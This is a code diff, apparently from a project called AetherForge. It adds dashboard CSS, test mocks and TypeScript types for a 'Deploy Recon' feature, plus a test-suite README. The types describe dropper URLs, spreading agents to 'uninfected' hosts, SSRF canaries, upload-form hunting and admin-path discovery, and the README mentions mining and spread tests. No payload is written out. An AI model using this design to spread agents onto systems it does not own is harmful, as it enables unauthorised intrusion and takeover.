padding: 0.65rem 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.18);
|
||||
}
|
||||
|
||||
.dr-banner-list,
|
||||
.dr-stack-list,
|
||||
.dr-history-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.dr-canary-badge {
|
||||
margin-left: 0.5rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.62rem;
|
||||
padding: 2px 6px;
|
||||
border-radius: 3px;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.dr-canary-badge.pending {
|
||||
color: var(--neon-amber, #ffb347);
|
||||
border: 1px solid rgba(255, 180, 60, 0.35);
|
||||
}
|
||||
|
||||
.dr-canary-badge.confirmed {
|
||||
color: #7dffb0;
|
||||
border: 1px solid rgba(80, 220, 120, 0.4);
|
||||
}
|
||||
|
||||
.dr-admin-table,
|
||||
.dr-action-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.dr-admin-table th,
|
||||
.dr-action-table th {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.62rem;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-muted);
|
||||
text-align: left;
|
||||
padding: 0.35rem 0.5rem;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.dr-admin-table td,
|
||||
.dr-action-table td {
|
||||
padding: 0.4rem 0.5rem;
|
||||
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.dr-fp-grid {
|
||||
display: grid;
|
||||
gap: 0.55rem;
|
||||
}
|
||||
|
||||
.dr-fp-card {
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 6px;
|
||||
padding: 0.55rem 0.65rem;
|
||||
}
|
||||
|
||||
.dr-history {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.65rem;
|
||||
}
|
||||
|
||||
.dr-history-item {
|
||||
width: 100%;
|
||||
text-align: left;
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 4px;
|
||||
padding: 0.45rem 0.55rem;
|
||||
background: rgba(0, 0, 0, 0.2);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.dr-history-meta {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-muted);
|
||||
margin-top: 0.2rem;
|
||||
}
|
||||
|
||||
.dr-modal-backdrop {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(0, 0, 0, 0.65);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1200;
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.dr-modal {
|
||||
width: min(520px, 100%);
|
||||
max-height: 80vh;
|
||||
overflow: auto;
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
border-radius: 8px;
|
||||
background: var(--panel-bg, #0d1118);
|
||||
padding: 1rem;
|
||||
}
|
||||
|
||||
.dr-modal-head {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.dr-playbook-tree li.focused a {
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.dr-deploy-kit-hint {
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.dr-relay-via {
|
||||
font-size: 0.76rem;
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
@@ -74,6 +74,10 @@ describe('DeployReconPage', () => {
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
|
||||
vi.spyOn(api, 'getReconHistory').mockResolvedValue({ entries: [] });
|
||||
vi.spyOn(api, 'listCampaignHits').mockResolvedValue({ campaigns: [{ campaign: 'lab' }] });
|
||||
vi.spyOn(api, 'getReconDeployKit').mockResolvedValue({ ok: true, host: 'scan.lab' });
|
||||
vi.spyOn(api, 'reconRelayScan').mockResolvedValue({ ok: false, error: 'unreachable' });
|
||||
vi.spyOn(api, 'getDiscoveredHosts').mockResolvedValue({
|
||||
hosts: [
|
||||
{
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
/** Fleet recon — credential graph, service graph, vuln findings (mirrors agent/server JSON). */
|
||||
/** Fleet recon - credential graph, service graph, vuln findings (mirrors agent/server JSON). */
|
||||
|
||||
export type VulnSeverity = 'critical' | 'high' | 'medium' | 'low' | 'info' | string;
|
||||
|
||||
@@ -45,7 +45,7 @@ export interface ServiceGraphResponse {
|
||||
services: ServiceGraphNode[];
|
||||
}
|
||||
|
||||
/** GET /api/v1/recon/deploy-kit — lane-specific spread kit for a recon host. */
|
||||
/** GET /api/v1/recon/deploy-kit - lane-specific spread kit for a recon host. */
|
||||
export interface ReconDeployKitDropperURLs {
|
||||
get?: string;
|
||||
get_windows?: string;
|
||||
@@ -80,7 +80,7 @@ export interface ReconDeployKitResponse {
|
||||
error?: string;
|
||||
}
|
||||
|
||||
/** POST /api/v1/fleet/spread-to-host — seed discover_and_join toward unreachable IP. */
|
||||
/** POST /api/v1/fleet/spread-to-host - seed discover_and_join toward unreachable IP. */
|
||||
export interface FleetSpreadToHostRequest {
|
||||
host: string;
|
||||
finding?: string;
|
||||
@@ -107,7 +107,9 @@ export interface FleetSpreadToHostResponse {
|
||||
crucible_link?: string;
|
||||
}
|
||||
|
||||
/** POST /api/v1/recon/scan — owned-target browser deploy recon. */
|
||||
/** POST /api/v1/recon/scan - owned-target browser deploy recon. */
|
||||
|
||||
export type ReconScanProfile = 'quick' | 'deep' | 'ssrf_only';
|
||||
|
||||
export interface ReconScanRequest {
|
||||
host: string;
|
||||
@@ -116,6 +118,7 @@ export interface ReconScanRequest {
|
||||
paths?: string[];
|
||||
profile?: string;
|
||||
profiles?: string[];
|
||||
ssrf_canary?: boolean;
|
||||
}
|
||||
|
||||
export interface ReconPortResult {
|
||||
@@ -154,12 +157,53 @@ export interface ReconURLFieldFinding {
|
||||
hint: string;
|
||||
}
|
||||
|
||||
export interface ReconFormFieldFingerprint {
|
||||
page_url: string;
|
||||
name: string;
|
||||
id?: string;
|
||||
placeholder?: string;
|
||||
score: number;
|
||||
matches?: string[];
|
||||
paste_target?: string;
|
||||
}
|
||||
|
||||
export interface ReconUploadHunterFinding {
|
||||
page_url: string;
|
||||
target?: string;
|
||||
source: string;
|
||||
method?: string;
|
||||
tags?: string[];
|
||||
score: number;
|
||||
status_code?: number;
|
||||
}
|
||||
|
||||
export interface ReconAdminSurfaceFinding {
|
||||
path: string;
|
||||
url: string;
|
||||
status_code: number;
|
||||
signal: string;
|
||||
}
|
||||
|
||||
export interface ReconSsrfCanaryInfo {
|
||||
scan_id: string;
|
||||
url: string;
|
||||
status: string;
|
||||
paste_target: string;
|
||||
paste_field_name?: string;
|
||||
paste_field_id?: string;
|
||||
hit_at?: string;
|
||||
}
|
||||
|
||||
export type ReconSsrfCanaryStatus = ReconSsrfCanaryInfo;
|
||||
|
||||
export interface ReconCrawlReport {
|
||||
pages_fetched: number;
|
||||
pages?: { url: string; status_code: number; title?: string }[];
|
||||
file_inputs?: ReconFormFinding[];
|
||||
multipart_forms?: ReconFormFinding[];
|
||||
url_fields?: ReconURLFieldFinding[];
|
||||
fingerprint_fields?: ReconFormFieldFingerprint[];
|
||||
upload_hunter?: ReconUploadHunterFinding[];
|
||||
ssrf_score: number;
|
||||
cms_fingerprints?: string[];
|
||||
stack?: ReconStackEntry[];
|
||||
@@ -184,6 +228,8 @@ export interface ReconScanReport {
|
||||
stack?: ReconStackEntry[];
|
||||
deploy_kit_lane?: string;
|
||||
crawl?: ReconCrawlReport;
|
||||
admin_surface?: ReconAdminSurfaceFinding[];
|
||||
canary?: ReconSsrfCanaryInfo;
|
||||
relay_via?: string;
|
||||
udp_hints?: { port: number; open: boolean; service?: string }[];
|
||||
path_tracer_hints?: string[];
|
||||
@@ -204,7 +250,39 @@ export interface ReconWebFindingCard {
|
||||
mermaid?: string;
|
||||
}
|
||||
|
||||
/** GET /api/v1/recon/discovered-hosts — agent subnet recon store. */
|
||||
export interface ReconScanDiff {
|
||||
new_ports?: number[];
|
||||
new_forms?: ReconFormFinding[];
|
||||
}
|
||||
|
||||
export interface ReconHistoryEntry {
|
||||
scan_id: string;
|
||||
host: string;
|
||||
profile?: string;
|
||||
status?: string;
|
||||
scanned_at: string;
|
||||
report: ReconScanReport;
|
||||
diff?: ReconScanDiff;
|
||||
}
|
||||
|
||||
export interface ReconHistoryResponse {
|
||||
entries: ReconHistoryEntry[];
|
||||
}
|
||||
|
||||
export interface ReconRelayScanRequest {
|
||||
host: string;
|
||||
udp_guess?: boolean;
|
||||
}
|
||||
|
||||
export interface ReconRelayScanResponse {
|
||||
ok: boolean;
|
||||
agent_id?: string;
|
||||
agent_name?: string;
|
||||
error?: string;
|
||||
report?: ReconScanReport;
|
||||
}
|
||||
|
||||
/** GET /api/v1/recon/discovered-hosts - agent subnet recon store. */
|
||||
export type DiscoveredHostStatus = 'uninfected' | 'spread_attempted' | 'agent_online';
|
||||
|
||||
export interface DiscoveredHost {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# AetherForge Test Suite
|
||||
|
||||
**Current counts (2026-06-07):** Go server **1001** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||||
**Current counts (2026-06-07):** Go server **1007** `Test*` · Go agent **680** `Test*` · Vitest **867** tests in **113** files · Playwright **32** tests in **10** spec files. Refresh: `go test ./... -list .` (server/agent), `npm run test -- --run` (Vitest), `npx playwright test --list` (E2E). Full suite: `test.bat` → `scripts/test-suite.ps1`.
|
||||
|
||||
## Master validation (operator commands)
|
||||
|
||||
@@ -17,7 +17,7 @@ After parallel agent landings, run from repo root:
|
||||
| **P2 focused** | `.\scripts\test-suite.ps1 -P2` | Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E |
|
||||
| **Fleet recon** | `.\scripts\test-suite.ps1 -ReconOnly` | Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |
|
||||
| **Deploy Recon** | `.\scripts\test-suite.ps1 -Recon` | `internal/recon`, recon API + deploy-kit, Deploy Recon Vitest + `deploy-recon.spec.ts` E2E (unless `-SkipE2E`) |
|
||||
| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages + `fleetDiscoveries` Vitest |
|
||||
| **Subnet recon** | `.\scripts\test-suite.ps1 -SubnetRecon` | Agent subnet_recon packages; server `go test ./internal/api/... ./internal/db/... -run Subnet`; `fleetDiscoveries` Vitest |
|
||||
|
||||
Feature slices (single-feature regression after parallel agent landings; each exits after its phase):
|
||||
|
||||
|
||||
Reference in New Issue
Block a user